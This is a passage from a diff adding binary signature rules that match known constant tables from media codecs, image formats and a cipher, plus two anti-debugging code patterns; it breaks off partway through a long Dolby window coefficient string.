+	$a0 = { fb000000fa000000fa000000fa000000fa000000f9000000f9000000f9000000f8000000f8000000f7000000f7000000f7000000f6000000f6000000f5000000f4000000f4000000f3000000f3000000f2000000f1000000f0000000f0000000ef000000ee000000ed000000ec000000eb000000ea000000e9000000e7000000e6000000e5000000e3000000e2000000e0000000de000000dd000000db000000d9000000d7000000d5000000d2000000d0000000cd000000cb000000c8000000c5000000c2000000bf000000bb000000b7000000b3000000af000000ab000000a7000000a20000009d00000098000000920000008c00000086000000800000008000000079000000730000006d00000067000000620000005d0000005800000054000000500000004c0000004800000044000000400000003d0000003a0000003700000034000000320000002f0000002d0000002a00000028000000260000002400000022000000210000001f0000001d0000001c0000001a0000001900000018000000160000001500000014000000130000001200000011000000100000000f0000000f0000000e0000000d0000000c0000000c0000000b0000000b0000000a000000090000000900000008000000080000000800000007000000070000000600000006000000060000000500000005000000050000000500000004000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_COOK_cplscale4__flt32___32_big_60_
+{
+strings:
+	$a0 = { 3f7dd2133f7926d93f73f9293f6e1d3b3f6748b63f5ee9393f5380903f3504f33f103b593efbc4653edb7cd03ebc04743e9b166c3e6b44583e055538 }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__kernel32_CloseHandle_and_NtClose__8_byt_20_
+{
+strings:
+	$a0 = { 64ff3500000000648925000000006834120000e8 }
+
+condition:
+	$a0
+}
+
+	
+rule MMX_codes__32_big_124_
+{
+strings:
+	$a0 = { 3f0027853f01668b3f03f45b3f07f2683f0d98383f153b3a3f1f5c6e3f2cc03d3f3e99ee3f56df9e3f78fa3b3f95b0353fbdf91b4003b2af405a164241230a463f009e8d3f05c2783f11233f3f25961d3f49c4803f87c4493fdc792640a33c9c3f0281f73f19f1bd3f6664d7402406cf3f0a8bd43fa73d753f3504f3 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_COOK_cvh_huffcodes6__16_big_64_
+{
+strings:
+	$a0 = { 0000000800090034000a0035003600f6000b0037003800f7003901fa00f803fc000c003a007a00f9003b01fb00fa07fe003c01fc00fb03fd00fc03fe01fd07ff }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_swb_offset_1024_32__16_big_104_
+{
+strings:
+	$a0 = { 000000040008000c001000140018001c0020002400280030003800400048005000580060006c00780084009000a000b000c400d800f00108012401400160018001a001c001e00200022002400260028002a002c002e00300032003400360038003a003c003e00400 }
+
+condition:
+	$a0
+}
+
+	
+rule libaf_rear_opposite_side___135_degree___flt32___32_big_512_
+{
+strings:
+	$a0 = { 39000677b7b6bfc036c363b0b74c4ebfb8806bda36bb094db84f00b9359dfed5b8787466371f7161b91cb43939007047b8ca290836c9ed69380ca6cfb94a889b3a060c5dba14cf5f3a9e091d3a75a44f3b969e01baf6d4f2bc067d183b7a35243c0ef9ab3d887c763d8b0842bd380157bd24a7c63cd6a7cd3c601a3bbc6add303c26296a3decbb243e2272943d75a8b23b9915473d0104c23c6aec8ebc71a8cfbca86322bd5d7fbebd9f1462bd4dfdd9bcfc61c3bd0b581ebcfa05dabc68222b3c43182f3c6a102b3bd0fa143c97ef823ce7cf233cce9f143cb3a9ec3ca1748c3c8da92e3c8f197b3c1f66c8bb4319a3bc1ccae9bc841a1dbcf05c6bbd2951b3bd3253d5bd1e1780bce41a39bc9b9bb0bc5286dabb91685f3994d2413b7785733c0435a73c0f9a0b3c036a213bdfd1243b11616bbb06359abb82fcdcbbe78c51bc1a2600bc33397cbc40edf5bc3aa1c1bc2d7129bc2143abbbfe0e93bbba851cbbd536dbbbaf2ea0bb803960bb6c8765bb0539ac393c0a2f3b56d35b3b8214393b054bbeb8edf10ebaf07099bb69189cbb8bb507bb40b68ebb610ef4bbc55ff1bbfdcf8fbc01a241bbccddcfbbaded7bbbb68238bb98d83bbb776241bb88d3e3bb98af92bba41f35bb9b035cbb5f14e5bae044c1ba1fb24fbad2647fbb591ca5bb93a2fbbb880f5dbb52ef16bb32c491bae0ca09baa504e5baf2dd4dbb267bd3 }
+
+condition:
+	$a0
+}
+
+	
+rule DFC_rt64__32_big_256_
+{
+strings:
+	$a0 = { b7e151628aed2a6abf7158809cf4f3c762e7160f38b4da56a784d9045190cfef324e7738926cfbe5f4bf8d8d8c31d763da06c80abb1185eb4f7c7b5757f5958490cfd47d7c19bb42158d9554f7b46bced55c4d79fd5f24d6613c31c3839a2ddf8a9a276bcfbfa1c877c56284dab79cd4c2b3293d20e9e5eaf02ac60acc93ed874422a52ecb238feee5ab6add835fd1a0753d0a8f78e537d2b95bb79d8dcaec642c1e9f23b829b5c2780bf38737df8bb300d01334a0d0bd8645cbfa73a6160ffe393c48cbbbca060f0ff8ec6d31beb5cceed7f2f0bb088017163bc60df45a0ecb1bcd289b06cbbfea21ad08e1847f3f7378d56ced94640d6ef0d3d37be67008e1 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_svq3_dequant_coeff__32_lil_128_
+{
+strings:
+	$a0 = { 290f0000ff1000001a130000691500000a180000021b0000511e00000e22000035260000eb2a00003330000004360000a33c00001b440000694c000071550000e85f0000086c00007f7800003688000097970000e3aa0000cfbf00009bd50000fef00000890c01002f2f0100195c01009d87010036ab0100abee0100dd280200 }
+
+condition:
+	$a0
+}
+
+	
+rule Baseking_RCD__8_byt_12_
+{
+strings:
+	$a0 = { 8dce67bbd5e271b0582c160b }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_AC3_ff_ac3_log_add_tab__8_byt_260_
+{
+strings:
+	$a0 = { 403f3e3d3c3b3a39383736353434333231302f2f2e2d2c2c2b2a292928272626252424232322212120201f1e1e1d1d1c1c1b1b1a1a191918181717161615151514141313131212121111111010100f0f0f0e0e0e0d0d0d0d0c0c0c0c0b0b0b0b0a0a0a0a0a090909090908080808080807070707070706060606060606060505050505050505040404040404040404040403030303030303030303030303030202020202020202020202020202020202020201010101010101010101010101010101010101010101010101010101010101010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_sfb_48_128__avcodec___faad___32_big_56_
+{
+strings:
+	$a0 = { 00000004000000080000000c00000010000000140000001c000000240000002c000000380000004400000050000000600000007000000080 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_indeo_ir2_codes__16_big_572_
+{
+strings:
+	$a0 = { 000000030001000300030003001000050012000500130005001600050017000500310006003200060033000600340006003500060036000600e0000800e1000800e4000800e5000800e6000800e7000800e9000800ea000800ec000800ed000800ef000801e0000901e2000901e3000901e5000901e6000901e8000901e9000901eb000901ec000901ee000901ef000903e0000a03e1000a03e2000a03e3000a03e4000a03e5000a03e6000a03e7000a03e8000a03e9000a03ea000a03eb000a03ec000a03ed000a03ee000a03ef000a1f80000d1f81000d1f82000d1f83000d1f84000d1f85000d1f86000d1f87000d1f88000d1f89000d1f8a000d1f8b000d1f8c000d1f8d000d1f8e000d1f8f000d1f90000d1f91000d1f92000d1f93000d1f94000d1f95000d1f96000d1f97000d1f98000d1f99000d1f9a000d1f9b000d1f9c000d1f9d000d1f9e000d1f9f000d1fa0000d1fa1000d1fa2000d1fa3000d1fa4000d1fa5000d1fa6000d1fa7000d1fa8000d1fa9000d1faa000d1fab000d1fac000d1fad000d1fae000d1faf000d1fb0000d1fb1000d1fb2000d1fb3000d1fb4000d1fb5000d1fb6000d1fb7000d1fb8000d1fb9000d1fba000d1fbb000d1fbc000d1fbd000d1fbe000d1fbf000d3f80000e3f81000e3f82000e3f83000e3f84000e3f85000e3f86000e3f87000e3f88000e3f89000e3f8a000e00020003001100050014000500150005003000060037000600e2000800e3000800e8000800eb000800ee000801e1000901e4000901e7000901ea000901ed0009 }
+
+condition:
+	$a0
+}
+
+	
+rule EPWIC_Sum_to_sqrt_2_hi_filter__flt64___64_lil_72_
+{
+strings:
+	$a0 = { 9d561f1fc8be9c3f47ffd1067f33af3fa99f0d9212c9b2bfffc436624e8adabf0865336eb683e93fffc436624e8adabfa99f0d9212c9b2bf47ffd1067f33af3f9d561f1fc8be9c3f }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__Softice_____NTICE__8_byt_STR_10_
+{
+strings:
+	$a0 = { 5c5c2e5c4e5449434500 }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_Fraunhofer_Huffman_book1__32_lil_972_
+{
+strings:
+	$a0 = { 000000000b000000f80700000100000009000000f1010000020000000b000000fd070000030000000a000000f5030000040000000700000068000000050000000a000000f0030000060000000b000000f70700000700000009000000ec010000080000000b000000f5070000090000000a000000f10300000a00000007000000720000000b0000000a000000f40300000c00000007000000740000000d00000005000000110000000e00000007000000760000000f00000009000000eb01000010000000070000006c000000110000000a000000f6030000120000000b000000fc0700001300000009000000e1010000140000000b000000f10700001500000009000000f00100001600000007000000610000001700000009000000f6010000180000000b000000f20700001900000009000000ea0100001a0000000b000000fb0700001b00000009000000f20100001c00000007000000690000001d00000009000000ed0100001e00000007000000770000001f000000050000001700000020000000070000006f0000002100000009000000e60100002200000007000000640000002300000009000000e50100002400000007000000670000002500000005000000150000002600000007000000620000002700000005000000120000002800000001000000000000002900000005000000140000002a00000007000000650000002b00000005000000160000002c000000070000006d0000002d00000009000000e90100002e00000007000000630000002f00000009000000e401000030000000070000006b0000003100000005000000130000003200000007000000710000003300000009000000e30100003400000007000000700000003500000009000000f3010000360000000b000000fe0700003700000009000000e7010000380000000b000000f30700003900000009000000ef0100003a00000007000000600000003b00000009000000ee0100003c0000000b000000f00700003d00000009000000e20100003e0000000b000000fa0700003f0000000a000000f303000040000000070000006a0000004100000009000000e80100004200000007000000750000004300000005000000100000004400000007000000730000004500000009000000f401000046000000070000006e000000470000000a000000f7030000480000000b000000f60700004900000009000000e00100004a0000000b000000f90700004b0000000a000000f20300004c00000007000000660000004d00000009000000f50100004e0000000b000000ff0700004f00000009000000f7010000500000000b000000f4070000 }
+
+condition:
+	$a0
+}
+
+	
+rule TIFF_mkg3states_TermB__16_big_260_
+{
+strings:
+	$a0 = { 03b0000a00020013000300220001003200060043000c005400040064001800750028008600080096001000a7005000b7007000c7002000d800e000e8003000f903a0010a0060011a0040012a0730013b00b0014b01b0015b0760016b00a0017b0740018b00c0019b053001ac0d3001bc033001cc0b3001dc016001ec096001fc0560020c0d60021c04b0022c0cb0023c02b0024c0ab0025c06b0026c0eb0027c0360028c0b60029c05b002ac0db002bc02a002cc0aa002dc06a002ec0ea002fc0260030c0a60031c04a0032c0ca0033c0240034c0ec0035c01c0036c0e40037c0140038c01a0039c09a003ac0d4003bc034003cc05a003dc066003ec0e6003fc00000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Borland_Jfif_CrGTable__32_lil_1024_
+{
+strings:
+	$a0 = { 0F97A4FFE14DA5FFB304A6FF85BBA6FF5772A7FF2929A8FFFBDFA8FFCD96A9FF9F4DAAFF7004ABFF42BBABFF1472ACFFE628ADFFB8DFADFF8A96AEFF5C4DAFFF2E04B0FFFFBAB0FFD171B1FFA328B2FF75DFB2FF4796B3FF194DB4FFEB03B5FFBDBAB5FF8E71B6FF6028B7FF32DFB7FF0496B8FFD64CB9FFA803BAFF7ABABAFF4C71BBFF1D28BCFFEFDEBCFFC195BDFF934CBEFF6503BFFF37BABFFF0971C0FFDB27C1FFADDEC1FF7E95C2FF504CC3FF2203C4FFF4B9C4FFC670C5FF9827C6FF6ADEC6FF3C95C7FF0D4CC8FFDF02C9FFB1B9C9FF8370CAFF5527CBFF27DECBFFF994CCFFCB4BCDFF9C02CEFF6EB9CEFF4070CFFF1227D0FFE4DDD0FFB694D1FF884BD2FF5A02D3FF2BB9D3FFFD6FD4FFCF26D5FFA1DDD5FF7394D6FF454BD7FF1702D8FFE9B8D8FFBB6FD9FF8C26DAFF5EDDDAFF3094DBFF024BDCFFD401DDFFA6B8DDFF786FDEFF4A26DFFF1BDDDFFFED93E0FFBF4AE1FF9101E2FF63B8E2FF356FE3FF0726E4FFD9DCE4FFAA93E5FF7C4AE6FF4E01E7FF20B8E7FFF26EE8FFC425E9FF96DCE9FF6893EAFF3A4AEBFF0B01ECFFDDB7ECFFAF6EEDFF8125EEFF53DCEEFF2593EFFFF749F0FFC900F1FF9AB7F1FF6C6EF2FF3E25F3FF10DCF3FFE292F4FFB449F5FF8600F6FF58B7F6FF296EF7FFFB24F8FFCDDBF8FF9F92F9FF7149FAFF4300FBFF15B7FBFFE76DFCFFB824FDFF8ADBFDFF5C92FEFF2E49FFFF00000000D2B60000A46D01007624020048DB020019920300EB480400BDFF04008FB60500616D06003324070005DB0700D7910800A84809007AFF09004CB60A001E6D0B00F0230C00C2DA0C0094910D0066480E0037FF0E0009B60F00DB6C1000AD2311007FDA11005191120023481300F5FE1300C6B51400986C15006A2316003CDA16000E911700E0471800B2FE180084B51900566C1A0027231B00F9D91B00CB901C009D471D006FFE1D0041B51E00136C1F00E5222000B6D92000889021005A4722002CFE2200FEB42300D06B2400A222250074D925004590260017472700E9FD2700BBB428008D6B29005F222A0031D92A0003902B00D5462C00A6FD2C0078B42D004A6B2E001C222F00EED82F00C08F30009246310064FD310035B43200076B3300D9213400ABD834007D8F35004F46360021FD3600F3B33700C46A38009621390068D839003A8F3A000C463B00DEFC3B00B0B33C00826A3D0053213E0025D83E00F78E3F00C94540009BFC40006DB341003F6A420011214300E3D74300B48E44008645450058FC45002AB34600FC694700CE204800A0D74800728E490043454A0015FC4A00E7B24B00B9694C008B204D005DD74D002F8E4E0001454F00D2FB4F00A4B2500076695100482052001AD75200EC8D5300BE44540090FB540061B255003369560005205700D7D65700A98D58007B4459004DFB59001FB25A00 }
+
+condition:
+	$a0
+}
+
+	
+rule Dolby_window_dol_long__flt64___64_big_8192_
+{
+strings:
+	$a0 = { 3f332c5e3dee373f3f3c2df667d2e79f3f41ea64cfbed6533f45750dc6f4b8603f48dc7408660ade3f4c332e137cbab73f4f83f4f9b72adf3f516accfe70ac943f5316611f9ebe693f54c661f131f7503f567c0f714a5d4a3f583861f27ee56d3f59fc2001f841b63f5bc7ec8e24fa5f3f5d9c506191cccd3f5f79c0ae7dc83d3f60b051d8ec38b13f61a8aa077accf33f62a611a52a30e03f63a8add329a4093f64b0a0c74b07063f65be0a58621ec63f66d1086c03e9e13f67e9b74d4177ef3f690831f292758c3f6a2c92355a18073f6b56f0ff19a3c43f6c87666e4c86d43f6dbe09f52142ef3f6efaf272deaa643f701f1b24832c303f70c3f5b68326ba3f716c13bb8e9e433f72177fd77932ff3f72c6448b23b27b3f73786c390b0e473f742e01292e95093f74e70d8c6876203f75a39b7f4ea2203f7663b50cae45e83f7727642fb0f36e3f77eeb2d5b7fd173f78b9aadff87e4a3f79885624e0e3053f7a5abe714f4f2b3f7b30ed899f34213f7c0aed2a935caf3f7ce8c70a2103ec3f7dca84d81fd1e43f7eb0303ee210bd3f7f99d2e3b7fd643f8043bb33b053c53f80bc92333541663f8137733cc2c4ca3f81b4631ae445463f823366967584833f82b48276ba77213f8337bb81728e393f83bd167ae7ec483f84449825faef533f84ce45442a70dc3f855a22959906343f85e834d90f9d823f867880cbfda3cc3f870b0b2a76fd7c3f879fd8af2fef4a3f8836ee13775d8d3f88d0500f2f2bee3f896c0358c354523f8a0a0ca51f6ab93f8aaa70a7a3055b3f8b4d341214e2c93f8bf25b94950f553f8c99ebdd8e03093f8d43e999a4ee313f8df05973a9172f3f8e9f40148293f83f8f50a22320321c3f900242223263fb3f905d758d89f89d3f90b9eda3df14b03f9117acb45637603f9176b50ce5b4e33f91d708fa4b0e6f3f9238aac800189e3f929b9cc02febcb3f92ffe12baba7693f93657a51df0f0b3f93cc6a78c4f9473f9434b3e4db9cd03f949e58d918baae3f95095b96dda4663f9575be5deb2a853f95e3836c5564df3f9652acfe776d4a3f96c33d4ee6f77a3f9735369667d48d3f97a89b0bdf65bb3f981d6ce447f0a13f9893ae52a3f0253f990b6187f145db3f998488b31c65bf3f99ff2600f36b793f9a7b3b9c19256e3f9af8cbacf8191c3f9b77d859b56c6c3f9bf863c623d8073f9c7a7013b67ea23f9cfdff6173c6913f9d8313cbe828103f9e09af6d18f0513f9e91d45c7709043f9f1b84aed1aa823f9fa6c2764919323fa019c7e120aaba3fa060f74faa64a33fa0a8f08ba379d33fa0f1b4987b89fe3fa13b44782968803fa185a12b2470ec3fa1d0cbb05dd8423fa21cc5053a03c13fa2698e2589daa73fa2b7280b841b553fa30593afbeb1943fa354d209280cd53fa3a4e40d0078b53fa3f5caaed378e43fa44786e07122343fa49a1991e77b023fa4ed83b17bdc283fa541c62ba453a53fa596e1eb010bc33fa5ecd7d855b6bd3fa643a8da82f7963fa69b55d67fd6c63fa6f3dfaf5336db3fa74d47460d4adc3fa7a78d79c1159f3fa802b3277dead33fa85eb92a48f5b33fa8bba05b16c4bf3fa9196990c4d96c3fa97815a0133fb53fa9d7a55b9e287c3faa381993d78aaa3faa99731700cd583faafbb2b124715d3fab5ed92c0fca193fabc2e74f4cb2dc3fac27dde01b552d3fac8dbda16bef153facf48753d8a2fc3fad5c3bb59f4e473fadc4db829b69823fae2e67743fee373fae98e04191437b3faf04469f1f38973faf709b3efeffa73fafddded0c538963fb0260900bfff733fb05d9abdd881ed3fb095a4f3a3d8893fb0ce27f4cda9883fb1072412b2a7763fb140999d5dafba3fb17a88e384f0233fb1b4f232870ebf3fb1efd5d66858b53fb22b3419cff5ec3fb2670d4605212f3fb2a361a2ec66403fb2e0317704e6163fb31d7d07659f583fb35b4497babc2f3fb399886a42e8443fb3d848bfcca9413fb41785d7b3bf873fb4573fefde8b9c3fb4977744bb7afe3fb4d82c113e788c3fb5195e8ede65b93fb55b0ef59299533fb59d3d7bd063663fb5dfea568898663fb62315b925248c3fb666bfd586a16e3fb6aae8dc01f7b33fb6ef90fb5e03093fb734b860d13e873fb77a5f37ff7a1a3fb7c085aaf792b93fb8072be231347b3fb84e52048aa4433fb895f837468d593fb8de1e9e09dadf3fb926c55ad994543fb96fec8e18c3f93fb9b994568663633fba03bcd13b54723fba4e6619a856553fba9990499410393fbae53b791919793fbb3167bea40a313fbb7e152ef1a8023fbbcb43dd0ceb6a3fbc18f3da4d4e4c3fbc67253654df5a3fbcb5d7ff0e963c3fbd050c40ac8b963fbd54c205a647903fbda4f956b713273fbdf5b23adc62e33fbe46ecb7542af93fbe98a8cf9b553c3fbeeae6856c39e13fbf3da5d8bd20a93fbf90e6c7bebf493fbfe4a94edad11c3fc01c76b4595a3f3fc046d9870f013f3fc0717d1b14a2c73fc09c616b0a52773fc0c78670a954b23fc0f2ec24c381053fc11e927f42a74f3fc14a797727fed13fc176a1028b98073fc1a309169bcfec3fc1cfb1a79ccbac3fc1fc9aa8e7f8983fc229c40ceb8c0c3fc2572dc52a12de3fc284d7c239f8533fc2b2c1f3c51b293fc2e0ec488864083fc30f56ae5360323fc33e011207e3333fc36ceb5f99acd03fc39c15820e11c43fc3cb7f637bae5c3fc3fb28ed0a12033fc42b1206f184243fc45b3a987abaff3fc48ba287fe9db93fc4bc49bae6104c3fc4ed3015a9be0a3fc51e557bd1edff3fc54fb9cff6574a3fc5815cf3bdfc8e3fc5b33ec7df13fe3fc5e55f2c1ee42f3fc617bdff51b33b3fc64a5b1f5abb743fc67d36692c1bf23fc6b04fb8c6d1853fc6e3a6e93abf283fc7173bd4a6a85f3fc74b0e543844ed3fc77f1e402c47db3fc7b36b6fce78ce3fc7e7f5b979d1963fc81cbcf29890793fc851c0efa46add3fc887018426ac413fc8bc7e82b86a493fc8f237bd02b6093fc9282d03bed5b13fc95e5e26b683e83fc994caf4c430843fc9cb733bd34df63fca0256c8e097a73fca397567fa6ed93fca70cee4412db33fcaa86307e781533fcae0319c32d7923fcb183a697bbbe93fcb507d372e4c423fcb88f9cbcaa98b3fcbc1afece56df33fcbfa9f5f2831323fcc33c7e652002b3fcc6d294537ef473fcca6c33dc5a02f3fcce09590fdd8593fcd1a9ffefb19113fcd54e246f036093fcd8f5c272901103fcdca0d5d0aebe83fce04f5a515b12c3fce4014bae410e23fce7b6a592c7acc3fceb6f639c1d4d23fcef2b8159439073fcf2eafa4b1b7db3fcf6adc9e472ca43fcfa73eb8a105723fcfe3d5a92c20083fd01050923b514b3fd02ed06f186dbf3fd04d6a449714153fd06c1debb2ef4f3fd08aeb3cfa1f1a3fd0a9d2108db2353fd0c8d23e2223bb3fd0e7eb9cffd8603fd1071e0403a4273fd12669499f4d3f3fd145cd43da110d3fd16549c85131913fd184deac387df23fd1a48bc45ae2bd3fd1c450e51afcf73fd1e42de273a78c3fd204228ff898f53fd2242ec0d6f4263fd2445247d5e9053fd2648cf7574f373fd284dea15846913fd2a5471771d6213fd2c5c62ad996793fd2e65bac6252d33fd307076c7cb62d3fd327c93b37f42b3fd348a0e84279063fd3698e42ea97563fd38a911a1f3e593fd3aba93c70aa8e3fd3ccd6781120e93fd3ee189ad5a45a3fd40f6f7236b53a3fd430dacb510b0b3fd4525a72e65a3b3fd473ee355e10b43fd49595dec61e6f3fd4b7513ad3bbe13fd4d92014e4306c3fd4fb0237fda08d3fd51cf76ecfd8883fd53eff83b520353fd5611a40b305a83fd583476f7b38c33fd5a586d96c5a123fd5c7d84792d7c73fd5ea3b82a9c39e3fd60cb0531bb35f3fd62f36810398df3fd651cdd42da6ba3fd674761418322d3fd6972f07f492e33fd6b9f876a80c913fd6dcd226ccb5c63fd6ffbbdeb2618c3fd722b5645f89b93fd745be7d923ee83fd768d6efc114333fd78bfe801c157b3fd7af34f38db3de3fd7d27a0ebbc0373fd7f5cd96085d2e3fd8192f4d92fbdb3fd83c9ef939515a3fd8601c5c9854d53fd883a73b0d3d883fd8a73f57b67f663fd8cae47574ce0b3fd8ee9656ec1ce03fd91254be84a64a3fd9361f6e6bed353fd959f62895c6623fd97dd8aebd60f93fd9a1c6c2664fd73fd9c5c024dd96583fd9e9c4973ab30f3fda0dd3da60b17e3fda31edaeff379e3fda5611d593962b3fda7a400e69df543fda9e78199df6583fdac2b9b71ca9b43fdae704a6a4c3763fdb0b58a7c827a43fdb2fb579ece97d3fdb541adc4e65a83fdb78888dfe60963fdb9cfe4de6216a3fdbc17bdac78fa83fdbe600f33e546c3fdc0a8d55c0f7693fdc2f20c0a202f23fdc53baf21123c73fdc785ba81c4fed3fdc9d02a0b0e7343fdcc1af999cda0c3fdce662508fd1c73fdd0b1a831c54a23fdd2fd7eeb8eeb63fdd549a50c15c5c3fdd79616677b3cc3fdd9e2ced058bff3fddc2fca17d2e0f3fdde7d040dabcc83fde0ca7880563383fde318233d081313fde566000fcdca63fde7b40ac39ccc43fdea023f2266a9f3fdec5098f52c4063fdee9f1404108aa3fdf0edac166bb8b3fdf33c5cf2de8923fdf58b225f651c23fdf7d9f8216a6413fdfa28d9fddb3053fdfc77c3b9395a63fdfec6b117af2b33fe008aceee914f33fe01b242e6a436d3fe02d9b255dbd6e3fe04011b1dfe7e33fe05287b20d6dba3fe064fd0403dcd23fe0777185e23eb13fe089e515c9b50e3fe09c5791de139a3fe0aec8d8467bda3fe0c138c72df79f3fe0d3a73cc4153b3fe0e614173d80373fe0f87f34d49f4b3fe10ae873ca2d153fe11d4fb265d44a3fe12fb4cef6ca903fe14217a7d46a333fe154781b5ece693fe166d607ff6d663fe179314c29b21e3fe18b89c65b98273fe19ddf551e44693fe1b031d706a0a03fe1c2812ab5f3bb3fe1d4cd2eda7d5a3fe1e715c2300dd23fe1f95ac380a0443fe20b9c11a4f29f3fe21dd98b8520c93fe2301310193a273fe242487e69dbba3fe25479b590c8773fe266a694b97e743fe278cefb21d1633fe28af2c81a7fb93fe29d11db07c8f23fe2af2c1362052f3fe2c14150b63a6d3fe2d35172a6b2053fe2e55c58eb8d843fe2f761e3535b293fe30961f1c3abc23fe31b5c6439a3fd3fe32d511aca90e63fe33f3ff5a47b4f3fe35128d50eb9213fe3630b996a7f623fe374e8233373813fe386be53003c4f3fe3988e098311e33fe3aa57278a4c783fe3bc198e00f5b83fe3cdd51def54c73fe3df89b87b7c693fe3f1373ee9d9233fe402dd929dbdff3fe4147c9519ee6f3fe4261428012c1f3fe437a42d16bec43fe4492c863f00223fe45aad157fe4903fe46c25bd0182713fe47d965f0e9b0e3fe48efede1520a83fe4a05f1ca6bd8f3fe4b1b6fd7957bb3fe4c306636798423fe4d44d31716b6a3fe4e58b4abc86b63fe4f6c09294ea073fe507ecec6d5faf3fe519103bdfff503fe52a2a64aeaa6e3fe53b3b4ac38de83fe54c42d2319d763fe55d40df3512543fe56e355633e5b43fe57f201bbe4cee3fe59001148f328e3fe5a0d8258cb00c3fe5b1a533c886233fe5c268248092ae3fe5d320dd1f48a63fe5e3cf433c232b3fe5f4733c9c1bbc3fe6050caf321b893fe6159b811f6ed13fe6261f98b434193fe63698dc6fced93fe64707330152d33fe6576a8347f4fc3fe667c2b453761f3fe6780fad648edd3fe6885155ed5aa23fe698879591c0293fe6a8b25427d99d3fe6b8d179b85bb33fe6c8e4ee7efbb13fe6d8ec9aead4683fe6e8e8679ec7543fe6f8d83d71e1ea3fe708bc056fbc433fe71893a8d8da393fe7285f1123089c3fe7381e27f9bbdf3fe747d0d73e6b383fe757770908eb613fe76710a7a7c90a3fe7769d9da09f0d3fe7861dd5b06fc63fe795913acbf9313fe7a4f7b82008ff3fe7b4513911d0513fe7c39da93f355c3fe7d2dcf47f23443fe7e20f06e1d9a33fe7f133ccb138883fe8004b32710fa03fe80f5524df65fe3fe81e5190f4c61a3fe82d4063e4837b3fe83c218b1d038c3fe84af4f44802383fe859ba8d4ad51f3fe868724446aec93fe8771c0798dfba3fe885b7c5db14c03fe894456de397a83fe8a2c4eec588f93fe8b13637d11d823fe8bf993893d7013fe8cdede0d8bd233fe8dc3420a892a43fe8ea6be84a0d423fe8f895284208653fe906afd153b6633fe914bbd480d2d13fe922b92309d2003fe930a7ae6e0e083fe93e87686bf31c3fe94c5843012ad33fe95a1a306ac5513fe967cd232561613fe975710ded51c63fe98305e3bec2813fe9908b97d5dcb93fe99e021daee6063fe9ab69690663a73fe9b8c16dd936483fe9c60a2064b7ed3fe9d3437526d7bc3fe9e06d60de32fb3fe9ed87d88a2e073fe9fa92d16b0a283fea078e4101fb603fea147a1d113bc43fea21565b9c1c613fea2e22f2e7172e3fea3adfd977dc683fea478d061560503fea542a6fc7e71a3fea60b80dd90d673fea6d35d7d3d2713fea79a3c5849d593fea8601cef943d23fea924fec810be63fea9e8e16acaec43feaaabc464e59763feab6da7479ab793feac2e89a83b3363feacee6b202ea7f3feadad4b4cf2fe13feae6b29d01bf3e3feaf28064f5284d3feafe3e0745440f3feb09eb7ecf28783feb1588c6b119b23feb2115da4a7af23feb2c92b53bbdf43feb37ff53664e923feb435bb0ec7fc33feb4ea7ca3174643feb59e39bd908563feb650f22c7b7e23feb702a5c2283ea3feb7b35454ed50d3feb862fdbf25f873feb911a1df302ce3feb9bf40976a7cc3feba6bd9ce31ec03febb176d6ddfc0b3febbc1fb64c70cb3febc6b83a5324273febd14062560b303febdbb82df83ceb3febe61f9d1bc8133febf076afe1839b3febfabd66a8e25c3fec04f3c20fbfb23fec0f19c2f22ef23fec192f6a6a47ad3fec2334b9cff0943fec2d29b2b8a8373fec370e56f74d6f3fec40e2a89be6053fec4aa6a9f3633c3fec545a5d8765483fec5dfdc61dfcb43fec6790e6b96c733fec7113c297e7b63fec7a865d334ebf3fec83e8ba40ed113fec8d3addb132ba3fec967ccbaf6df33fec9fae88a1835a3feca8d01927a3b43fecb1e1821c01b13fecbae2c89285393fecc3d3f1d87d4e3fecccb5037452a33fecd586032534993fecde46f6e2ca0d3fece6f7e4dcdc933fecef98d37b04013fecf829c95c52b43fed00aacd56fac73fed091be677f94a3fed117d1c02ba6d3fed19ce7570c01f3fed220ffa71436e3fed2a41b2e8d9b93fed3263a6f114aa3fed3a75ded822233fed427863206b253fed4a6b3c8031fd3fed524e73e12e5b3fed5a22126028b13fed61e6214c93713fed699aaa2825673fed713fb6a6707d3fed78d550ac788b3fed805b825049cd3fed87d255d88b6e3fed8f39d5bc149b3fed96920ca17eb63fed9ddb055eb4c53feda514caf886583fedac3f68a233d03fedb35ae9bcff823fedba6759d7b7df3fedc164c4ae45cd3fedc853362936c73fedcf32ba5d475b3fedd6035d8aec983feddcc52c1ddc6b3fede37832ac94993fedea1c7df7e26a3fedf0b21aea661a3fedf73916981b383fedfdb17e3dd8f13fee041b5f40d8513fee0a76c72e34303fee10c3c3ba6ca83fee170262c0e6a33fee1d32b2436c833fee2354c069ad583fee29689b80bc1a3fee2f6e51fa8c133fee3565f26d6f0b3fee3b4f8b9392083fee412b2c4a79073fee46f8e39279fb3fee4cb8c08e37cd3fee526ad2821bf53fee580f28d3d0c83fee5da5d309b94b3fee632ee0ca6b843fee68aa61dc257c3fee6e18662447313fee7378fda6c9643fee78cc3885b1893fee7e1227008b623fee834ad973db373fee8876605895a83fee8d94cc43934b3fee92a62de505013fee97aa9607e89e3fee9ca215917c853feea18cbd80b34b3feea66a9eeda6993feeab3bcb090b283feeb000531ba1353feeb4b84885a9803feeb963bcbe572f3feebe02c15340933feec29567e7d1bd3feec71bc234bfbf3feecb95e207780f3feed003d94194273feed465b9d849f53feed8bb95d3ddb93feedd057f4f13db3feee1438876a1653feee575c3889e8a3feee99c42d3f7773feeedb718b7de8b3feef1c657a33d753feef5ca121426be3feef9c25a9748533feefdaf43c75d063fef0190e04c9e6b3fef056742dc37c03fef09327e37b87c3fef0cf2a52c86833fef10a7ca9351123fef1452014f84593fef17f15c4ebcc03fef1b85ee883b393fef1f0fcafc58823fef228f04b3fa293fef2603aec0073c3fef296ddc38dda43fef2ccda03dc7e33fef30230df472143fef336e388861c83fef36af332a6cc73fef39e611102ecf3fef3d12e57384943fef4035c39200663fef434ebeac67573fef465dea0627483fef496358e4d2a13fef4c5f1